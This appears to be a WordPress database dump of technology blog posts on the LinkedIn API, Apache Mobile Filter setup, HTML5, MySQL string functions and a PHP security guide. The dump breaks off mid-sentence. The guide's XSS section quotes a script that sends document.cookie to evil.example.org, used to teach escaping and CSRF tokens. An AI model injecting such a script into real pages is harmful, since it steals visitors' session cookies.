LinkedIn Search results page\r\n\r\n<b>Facets</b><b></b>\r\n\r\nFacets provide you with data similar to what appears on left-hand side of the LinkedIn Search results page.\r\n\r\nUse facets to discover for a member:\r\n\r\n- Who in their network works at a specific company, or group of companies.\r\n\r\n- How the people their network cluster together. What locations or industries are the most popular?\r\n\r\n- Where their connections graduated from school.\r\n\r\n&nbsp;\r\n\r\nTo find the First degree connections in a company use this API call:\r\n\r\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29?company-name=Collabor&amp;facets=network&amp;facet=network,F&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)?company-name=Collabor&amp;facets=network&amp;facet=network,F&amp;start=1&amp;count=200</a>\r\n\r\nFor second degree connections in a company,\r\n\r\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29?company-name=Asda&amp;facets=network&amp;facet=network,S&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)?company-name=Asda&amp;facets=network&amp;facet=network,S&amp;start=1&amp;count=200</a>\r\n\r\nFor Industry type (eg. IT Software),\r\n\r\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29??facets=industry,network&amp;facet=industry,96&amp;facet=network,F&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)??facets=industry,network&amp;facet=industry,96&amp;facet=network,F&amp;start=1&amp;count=200</a>\r\n\r\nYou can get more information from <a href=\"http://developer.linkedin.com/docs/DOC-1012\">http://developer.linkedin.com/docs/DOC-1012</a>\r\n\r\nFor sending a message to the user use this function,\r\n\r\nfunction sendMessage($xml){\r\n\r\n$status_url = \"http://api.linkedin.com/v1/people/~/mailbox\";\r\n\r\n$request = OAuthRequest::from_consumer_and_token$this-&gt;consumer, $this-&gt;access_token, \"POST\", $status_url);\r\n\r\n$request-&gt;sign_request($this-&gt;signature_method, $this-&gt;consumer, $this-&gt;access_token);\r\n\r\n$auth_header = $request-&gt;to_header(\"https://api.linkedin.com\");\r\n\r\n$response = $this-&gt;httpRequest($status_url, $auth_header, \"POST\", $xml);\r\n\r\nreturn $response;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nXml will be as follows for sending a message.\r\n\r\n$xml =\'&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\r\n\r\n&lt;mailbox-item&gt;\r\n\r\n&lt;recipients&gt;\r\n\r\n\'.12345(LinkedIn person_id).\'\r\n\r\n&lt;/recipients&gt;\r\n\r\n&lt;subject&gt;\'.$custom_subject.\'&lt;/subject&gt;\r\n\r\n&lt;body&gt;\'.htmlentities($custom_message).\'&lt;/body&gt;\r\n\r\n&lt;/mailbox-item&gt;\';\r\n\r\n$content = $linkedin-&gt;sendMessage($xml);\r\n\r\n&nbsp;\r\n\r\n<span style=\"text-decoration: underline;\">39.</span>  <span style=\"text-decoration: underline;\">Blog39:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Apache Mobile Filter installation on Centos servers.\r\n\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Mobile Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\n<b>This is the software and perl modules you need to install before Apache mobile Filter Installation</b>.\r\n\r\nApache 2.x.x\r\nmod_perl 2.0\r\n\r\nApache2::Filter\r\nApache2::RequestRec\r\nApache2::RequestUtil\r\nApache2::Connection\r\nApache2::SubRequest\r\nApache2::Log;\r\nCGI::Cookie\r\nAPR::Table\r\nLWP::Simple\r\nImage::Resize\r\nApache2::Const\r\nIO::Uncompress::Unzip\r\n\r\n<b>For Install Apache Perl in Linux.</b>\r\n\r\nYum install httpd-devel\r\n\r\nYum install mod_perl\r\n\r\n<b>For installing Perl modules.</b>\r\n\r\ncpan install Image::Resize\r\n\r\ncpan install Apache2::Filter\r\n\r\nand same for above perl modules.\r\n\r\n<b>For download and install the Apache Mobile Filter suite follow this steps:</b>\r\n\r\n<b>mkdir</b> AWF\r\n<b>cd</b> AWF\r\n<b>wget</b> http://downloads.sourceforge.net/project/mobilefilter/ApacheMobileFilter/X.XX/Apache2-ApacheMobileFilter-X.XX.tar.gz?use_mirror=dfn\r\n<b>tar</b> -xzvf Apache2-WURFLFilter-X.XX.tar.gz\r\n<b>cd</b> Apache2-WURFLFilter-X.XX/\r\n<b>perl</b> Makefile.PL\r\n<b>make</b> install\r\n\r\n<b>Installing Memcached</b>\r\n\r\nyum install memcached\r\n\r\nor\r\n\r\nrpm -Uhv <a href=\"http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm\">http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm</a>\r\n\r\n&nbsp;\r\n\r\n<b>After installing all above modules we have to  configure in apache config file like below.</b>\r\n\r\n&nbsp;\r\n\r\nPerlSetEnv AMFHome /home/xxx\r\n\r\nPerlSetEnv AMFMobileHome /home/xxx\r\n\r\nPerlSetEnv CacheDirectoryStore /tmp/xxx\r\n\r\nPerlTransHandler +Apache2::AMFWURFLFilter\r\n\r\nPerlSetEnv DownloadWurflURL http://downloads.sourceforge.net/wurfl/wurfl-latest.zip\r\n\r\nPerlSetEnv LoadWebPatch true\r\n\r\nPerlSetEnv PatchWurflNetDownload true\r\n\r\nPerlSetEnv PatchWurflUrl http://wurfl.sourceforge.net/web_browsers_patch.xml\r\n\r\nPerlSetEnv ServerMemCached 127.0.0.1:11211,/var/sock/memcahed\r\n\r\nPerlTransHandler +Apache2::AMFWURFLFilterMemcached\r\n\r\nPerlSetEnv ResizeImageDirectory /tmp/xx\r\n\r\n<span style=\"text-decoration: underline;\">40.</span>  <span style=\"text-decoration: underline;\">Blog40:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  HTML5 Features\r\n\r\n\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n<h1>HTML5 Features</h1>\r\n&nbsp;\r\n<h2>1.      New Doctype</h2>\r\n<b>( HTML )</b>       &lt;!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\r\n\r\n<b>( HTML5 )</b>    &lt;!DOCTYPE html&gt;\r\n<h2>2.      The Figure Element</h2>\r\n<b>( HTML )</b>       &lt;img src=\"image/image.jpg\" alt=\"image\" title=” image” /&gt;\r\n\r\n&lt;p&gt;Image of Mars. &lt;/p&gt;\r\n\r\n<b>( HTML5 )</b>\r\n\r\n&lt;figure&gt;\r\n\r\n&lt;img src=\"image/image.jpg\" alt=\"image\" title=”image” /&gt;\r\n\r\n&lt;figcaption&gt;\r\n\r\n&lt;p&gt;This is an image of something interesting.&lt;/p&gt;\r\n\r\n&lt;/figcaption&gt;\r\n\r\n&lt;/figure&gt;\r\n<h2>3.      No More <code>Types</code> for Scripts and Links</h2>\r\n<b>( HTML )</b>     &lt;link rel=\"stylesheet\" href=\"css/ stylesheet.css\" type=\"text/css\" /&gt;\r\n\r\n&lt;script src=\"path/to/script.js\" type=\"text/javascript\"&gt;&lt;/script&gt;\r\n\r\n<b>( HTML5 )</b>  &lt;link rel=\"stylesheet\" href=\"css/stylesheet.css\" /&gt;\r\n\r\n&lt;script src=\"path/to/script.js\"&gt;&lt;/script&gt;\r\n<h2>4.      To Quote or Not to Quote.</h2>\r\n<b>( HTML )</b>     &lt;p class=”myclass” id=”someId”&gt; Welcome.&lt;/p&gt;\r\n\r\n<b>( HTML5 )</b>  &lt;p class=myclass id=someId&gt; Welcome.&lt;/p&gt;\r\n\r\n&nbsp;\r\n<h2>5. Email Inputs</h2>\r\n<b>( HTML5 )</b>\r\n\r\n&lt;!DOCTYPE html&gt;\r\n\r\n&lt;html lang=\"en\"&gt;\r\n\r\n&lt;head&gt;\r\n\r\n&lt;meta charset=\"utf-8\"&gt;\r\n\r\n&lt;title&gt;untitled&lt;/title&gt;\r\n\r\n&lt;/head&gt;\r\n\r\n&lt;body&gt;\r\n\r\n&lt;form action=\"\" method=\"get\"&gt;\r\n\r\n&lt;label for=\"email\"&gt;Email:&lt;/label&gt;\r\n\r\n&lt;input id=\"email\" name=\"email\" type=\"email\" /&gt;\r\n\r\n&lt;button type=\"submit\"&gt; Submit Form &lt;/button&gt;\r\n\r\n&lt;/form&gt;\r\n\r\n&lt;/body&gt;\r\n\r\n&lt;/html&gt;\r\n\r\n&nbsp;\r\n<h2><code>6.</code><code>  </code>The Semantic <code>Header</code> and <code>Footer</code></h2>\r\n<b>( HTML )</b>      &lt;div id=\"header\"&gt;    ...  &lt;/div&gt;\r\n\r\n&lt;div id=\"footer\"&gt;       ...  &lt;/div&gt;\r\n\r\n<b>( HTML5 )</b>    &lt;header&gt;       ...      &lt;/header&gt;\r\n\r\n&lt;footer&gt;          ...      &lt;/footer&gt;\r\n<h2>7.Audio Support</h2>\r\n<b>( HTML5 ) </b>HTML5 now offers the <code>&lt;audio&gt;</code> element.\r\n\r\n&lt;audio autoplay=\"autoplay\" controls=\"controls\"&gt;\r\n\r\n&lt;source src=\"file.ogg\" /&gt;\r\n\r\n&lt;source src=\"file.mp3\" /&gt;\r\n\r\n&lt;a href=\"file.mp3\"&gt;Download this file.&lt;/a&gt;\r\n\r\n&lt;/audio&gt;\r\n<h2>8. Video Support</h2>\r\n<b>( HTML5 ) </b>HTML5 now offers the <code>&lt;vidio&gt;</code> element.\r\n\r\n&lt;video controls preload&gt;\r\n\r\n&lt;source src=\"cohagenPhoneCall.ogv\" type=\"video/ogg; codecs=\'vorbis, theora\'\" /&gt;\r\n\r\n&lt;source src=\"filename.mp4\" type=\"video/mp4; \'codecs=\'avc1.42E01E, mp4a.40.2\'\" /&gt;\r\n\r\n&lt;p&gt;Your browser is old.&lt;a href=\"cohagenPhoneCall.mp4\"&gt;Download this video instead.&lt;/a&gt;&lt;/p&gt;\r\n\r\n&lt;/video&gt;\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<pre><span style=\"text-decoration: underline;\"> </span></pre>\r\n<pre></pre>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<span style=\"text-decoration: underline;\"> </span></td>\r\n</tr>\r\n</tbody>\r\n</table>','PHP Security Guide','','inherit','open','open','','112-revision-v1','','','2014-07-21 09:44:09','2014-07-21 09:44:09','',112,'http://localhost/yalavarthitechnologies/blog/?p=115',0,'revision','',0),(116,1,'2014-07-21 09:49:40','2014-07-21 09:49:40','<strong>Summary:</strong>\r\n<table border=\"1\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ascii\">ASCII()</a></td>\r\n<td>Return numeric value of left-most character</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_bin\">BIN()</a></td>\r\n<td>Return a string representation of the argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_bit-length\">BIT_LENGTH()</a></td>\r\n<td>Return length of argument in bits</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length\">CHAR_LENGTH()</a></td>\r\n<td>Return number of characters in argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char\">CHAR()</a></td>\r\n<td>Return the character for each integer passed</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_character-length\">CHARACTER_LENGTH()</a></td>\r\n<td>A synonym for CHAR_LENGTH()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_concat-ws\">CONCAT_WS()</a></td>\r\n<td>Return concatenate with separator</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_concat\">CONCAT()</a></td>\r\n<td>Return concatenated string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_elt\">ELT()</a></td>\r\n<td>Return string at index number</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_export-set\">EXPORT_SET()</a></td>\r\n<td>Return a string such that for every bit set in the value bits, you get an on string and for every unset bit, you get an off string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_field\">FIELD()</a></td>\r\n<td>Return the index (position) of the first argument in the subsequent arguments</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_find-in-set\">FIND_IN_SET()</a></td>\r\n<td>Return the index position of the first argument within the second argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_format\">FORMAT()</a></td>\r\n<td>Return a number formatted to specified number of decimal places</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_hex\">HEX()</a></td>\r\n<td>Return a hexadecimal representation of a decimal or string value</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_insert\">INSERT()</a></td>\r\n<td>Insert a substring at the specified position up to the specified number of characters</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_instr\">INSTR()</a></td>\r\n<td>Return the index of the first occurrence of substring</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lcase\">LCASE()</a></td>\r\n<td>Synonym for LOWER()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_left\">LEFT()</a></td>\r\n<td>Return the leftmost number of characters as specified</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_length\">LENGTH()</a></td>\r\n<td>Return the length of a string in bytes</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#operator_like\">LIKE</a></td>\r\n<td>Simple pattern matching</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_load-file\">LOAD_FILE()</a></td>\r\n<td>Load the named file</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_locate\">LOCATE()</a></td>\r\n<td>Return the position of the first occurrence of substring</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lower\">LOWER()</a></td>\r\n<td>Return the argument in lowercase</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lpad\">LPAD()</a></td>\r\n<td>Return the string argument, left-padded with the specified string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ltrim\">LTRIM()</a></td>\r\n<td>Remove leading spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_make-set\">MAKE_SET()</a></td>\r\n<td>Return a set of comma-separated strings that have the corresponding bit in bits set</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/fulltext-search.html#function_match\">MATCH</a></td>\r\n<td>Perform full-text search</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_mid\">MID()</a></td>\r\n<td>Return a substring starting from the specified position</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#operator_not-like\">NOT LIKE</a></td>\r\n<td>Negation of simple pattern matching</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_not-regexp\">NOT REGEXP</a></td>\r\n<td>Negation of REGEXP</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_octet-length\">OCTET_LENGTH()</a></td>\r\n<td>A synonym for LENGTH()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ord\">ORD()</a></td>\r\n<td>Return character code for leftmost character of the argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_position\">POSITION()</a></td>\r\n<td>A synonym for LOCATE()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_quote\">QUOTE()</a></td>\r\n<td>Escape the argument for use in an SQL statement</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_regexp\">REGEXP</a></td>\r\n<td>Pattern matching using regular expressions</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_repeat\">REPEAT()</a></td>\r\n<td>Repeat a string the specified number of times</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_replace\">REPLACE()</a></td>\r\n<td>Replace occurrences of a specified string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_reverse\">REVERSE()</a></td>\r\n<td>Reverse the characters in a string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_right\">RIGHT()</a></td>\r\n<td>Return the specified rightmost number of characters</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_regexp\">RLIKE</a></td>\r\n<td>Synonym for REGEXP</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_rpad\">RPAD()</a></td>\r\n<td>Append string the specified number of times</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_rtrim\">RTRIM()</a></td>\r\n<td>Remove trailing spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_soundex\">SOUNDEX()</a></td>\r\n<td>Return a soundex string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#operator_sounds-like\">SOUNDS LIKE</a></td>\r\n<td>Compare sounds</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_space\">SPACE()</a></td>\r\n<td>Return a string of the specified number of spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#function_strcmp\">STRCMP()</a></td>\r\n<td>Compare two strings</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substr\">SUBSTR()</a></td>\r\n<td>Return the substring as specified</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substring-index\">SUBSTRING_INDEX()</a></td>\r\n<td>Return a substring from a string before the specified number of occurrences of the delimiter</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substring\">SUBSTRING()</a></td>\r\n<td>Return the substring as specified</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_trim\">TRIM()</a></td>\r\n<td>Remove leading and trailing spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ucase\">UCASE()</a></td>\r\n<td>Synonym for UPPER()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_unhex\">UNHEX()</a></td>\r\n<td>Convert each pair of hexadecimal digits to a character</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_upper\">UPPER()</a></td>\r\n<td>Convert to uppercase</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nReference Site: <a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length\">http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length</a>','Mysql String Functions','','publish','open','open','','mysql-string-functions','','','2014-07-21 09:49:40','2014-07-21 09:49:40','',0,'http://localhost/yalavarthitechnologies/blog/?p=116',0,'post','',0),(118,1,'2014-07-21 09:48:48','2014-07-21 09:48:48','<strong>Summary:</strong>\n\n<b>PHP Security Guide 1.0      </b>\n\n<b>Updation  Date : 21-02-2011</b>\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"665\">\n<h2>Forms and URLs</h2>\n<h3>1.Cross-Site Scripting</h3>\nCross-site scripting (XSS) is deservedly one of the best known types of attacks. It plagues web applications on all platforms, and PHP applications are certainly no exception.\n\nAny application that displays input is at riskweb-based email applications, forums, guestbooks, and even blog aggregators. In fact, most web applications display input of some typethis is what makes them interesting, but it is also what places them at risk. If this input is not properly filtered and escaped, a cross-site scripting vulnerability exists.\n\nThis approach places a significant amount of trust in the values of both $comment and $name. Imagine that one of them contained the following:\n\n&lt;script&gt;\n\ndocument.location =\n\n\'http://evil.example.org/steal.php?cookies=\' +\n\ndocument.cookie\n\n&lt;/script&gt;\n\nThis is a common mistake, and it is proliferated by many bad habits that have become commonplace. Luckily, the mistake is easy to avoid. Because the risk exists only when you output tainted, unescaped data, you can simply make sure that you filter input and escape output as described in Chapter 1.\n\nAt the very least, you should use htmlentities( ) to escape any data that you send to the clientthis function converts all special characters into their HTML entity equivalents. Thus, any character that the browser interprets in a special way is converted to its HTML entity equivalent so that its original value is preserved.\n\nThe following replacement for the code to display a comment is a much safer approach:\n\n&lt;?php\n\n&nbsp;\n\n$clean = array();\n\n$html = array();\n\n&nbsp;\n\n/* Filter Input ($name, $comment) */\n\n&nbsp;\n\n$html[\'name\'] = htmlentities($clean[\'name\'], ENT_QUOTES, \'UTF-8\');\n\n$html[\'comment\'] = htmlentities($clean[\'comment\'], ENT_QUOTES, \'UTF-8\');\n\n&nbsp;\n\necho \"&lt;p&gt;{$html[\'name\']} writes:&lt;br /&gt;\";\n\necho \"&lt;blockquote&gt;{$html[\'comment\']}&lt;/blockquote&gt;&lt;/p&gt;\";\n\n&nbsp;\n\n?&gt;\n<h3>2.Cross-Site Request Forgeries</h3>\nA cross-site request forgery (CSRF) is a type of attack that allows an attacker to send arbitrary HTTP requests from a victim. The victim is an unknowing accomplicethe forged requests are sent by the victim, not the attacker. Thus, it is very difficult to determine when a request represents a CSRF attack. In fact, if you have not taken specific steps to mitigate the risk of CSRF attacks, your applications are most likely vulnerable.\n\nThe buy.php script processes this information:\n\n&lt;?php\n\n&nbsp;\n\nsession_start();\n\n$clean = array();\n\n&nbsp;\n\nif (isset($_REQUEST[\'item\'] &amp;&amp; isset($_REQUEST[\'quantity\']))\n\n{\n\n/* Filter Input ($_REQUEST[\'item\'], $_REQUEST[\'quantity\']) */\n\n&nbsp;\n\nif (buy_item($clean[\'item\'], $clean[\'quantity\']))\n\n{\n\necho \'&lt;p&gt;Thanks for your purchase.&lt;/p&gt;\';\n\n}\n\nelse\n\n{\n\necho \'&lt;p&gt;There was a problem with your order.&lt;/p&gt;\';\n\n}\n\n}\n\n&nbsp;\n\n?&gt;\n\n&nbsp;\n\nAn attacker can first use your form as intended to observe the behavior. For example, after purchasing a single pen, the attacker knows to expect a message of thanks when a purchase is successful. After noting this, the attacker can then try to see whether GET data can be used to perform the same action by visiting the following URL:\n\nhttp://store.example.org/buy.php?item=pen&amp;quantity=1\nIf this is also successful, then the attacker now knows the format of a URL that causes an item to be purchased when visited by an authenticated user. This situation makes a CSRF attack very easy because the attacker only needs to cause a victim to visit this URL.\n\nWhile there are several possible ways to launch a CSRF attack, using an embedded resource such as an image is the most common. To understand this particular approach, it is necessary to understand how a browser requests these resources.\n\n&nbsp;\n\nThe most important thing you can do is to try to force the use of your own forms. If a user sends a request that looks as though it is the result of a form submission, it makes sense to treat it with suspicion if the user has not recently requested the form that is supposedly being submitted. Consider the following replacement for the HTML form in the sample application:\n\n&lt;?php\n\n&nbsp;\n\nsession_start();\n\n$token = md5(uniqid(rand(), TRUE));\n\n$_SESSION[\'token\'] = $token;\n\n$_SESSION[\'token_time\'] = time();\n\n&nbsp;\n\n?&gt;\n\n&nbsp;\n\n&lt;form action=\"buy.php\" method=\"POST\"&gt;\n\n&lt;input type=\"hidden\" name=\"token\" value=\"&lt;?php echo $token; ?&gt;\" /&gt;\n\n&lt;p&gt;\n\nItem:\n\n&lt;select name=\"item\"&gt;\n\n&lt;option name=\"pen\"&gt;pen&lt;/option&gt;\n\n&lt;option name=\"pencil\"&gt;pencil&lt;/option&gt;\n\n&lt;/select&gt;&lt;br /&gt;\n\nQuantity: &lt;input type=\"text\" name=\"quantity\" /&gt;&lt;br /&gt;\n\n&lt;input type=\"submit\" value=\"Buy\" /&gt;\n\n&lt;/p&gt;\n\n&lt;/form&gt;\n\n&nbsp;\n\nWith this simple modification, a CSRF attack must include a valid token in order to perfectly mimic the form submission. Because the token is stored in the user\'s session, it is also necessary that the attacker uses the token unique to the victim. This effectively limits any attack to a single user, and it requires that the attacker obtain a valid token that belongs to another userusing your own token is useless when forging requests from someone else.\n\nThe token can be checked with a simple conditional statement:\n\n&lt;?php\n\n&nbsp;\n\nif (isset($_SESSION[\'token\']) &amp;&amp;\n\n$_POST[\'token\'] == $_SESSION[\'token\'])\n\n{\n\n/* Valid Token */\n\n}\n\n&nbsp;\n\n?&gt;\n\n&nbsp;\n\nThe validity of the token can also be limited to a small window of time, such as five minutes:\n\n&lt;?php\n\n&nbsp;\n\n$token_age = time() - $_SESSION[\'token_time\'];\n\n&nbsp;\n\nif ($token_age &lt;= 300)\n\n{\n\n/* Less than five minutes has passed. */\n\n}\n\n&nbsp;\n\n?&gt;\n\n&nbsp;\n\nBy including a token in your forms, you practically eliminate the risk of CSRF attacks. Take this approach for any form that performs an action.\n<h3>3.Spoofed Form Submissions</h3>\nSpoofing a form is almost as easy as manipulating a URL. After all, the submission of a form is just an HTTP request sent by the browser. The request format is somewhat determined by the form, and some of the data within the request is provided by the user.\n\n&lt;form action=\"http://example.org/path/to/process.php\" method=\"POST\"&gt;\n\n&nbsp;\n\nThis form can be located anywhere, and a request sent using this form is identical to a request sent using the original form. Knowing this, an attacker can view the source of a page, save that source to his server, and modify the action attribute to specify an absolute URL. With these modifications in place, the attacker can alter the form as desiredwhether to eliminate a maxlength restriction, eliminate client-side data validation, alter the value of hidden form elements, or modify form element types to provide more flexibility. These modifications help an attacker to submit arbitrary data to the server, and the process is very easy and convenientthe attacker doesn\'t have to be an expert.\n\nAlthough it might seem surprising, form spoofing isn\'t something you can prevent, nor is it something you should worry about. As long as you properly filter input, users have to abide by your rules. However they choose to do so is irrelevant.\n\n&nbsp;\n<h2>Databases and SQL</h2>\n&nbsp;\n\nMany PHP developers fail to filter data coming from the database because only filtered data is stored therein. While the security risk inherent in this approach is slight, it is still not a best practice and not an approach that I recommend. This approach places trust in the security of the database, and it also violates the principle of Defense in Depth. Remember, redundant safeguards have value, and this is a perfect example. If malicious data is somehow injected into the database, your filtering logic can catch it, but only if such logic exists.\n\n&nbsp;\n<h3>1.SQL Injection : SQL injection is one of the most common vulnerabilities in PHP applications. What is particularly surprising about this fact is that an SQL injection vulnerability requires two failures on the part of the developera failure to filter data as it enters the application (filter input), and a failure to escape data as it is sent to the database (escape output). Neither of these crucial steps should ever be omitted, and both steps deserve particular attention in an attempt to minimize errors.</h3>\nAn attacker presented with this form begins to speculate about the type of query that you might be using to validate the username and password provided.\n\nSQL injection is easily 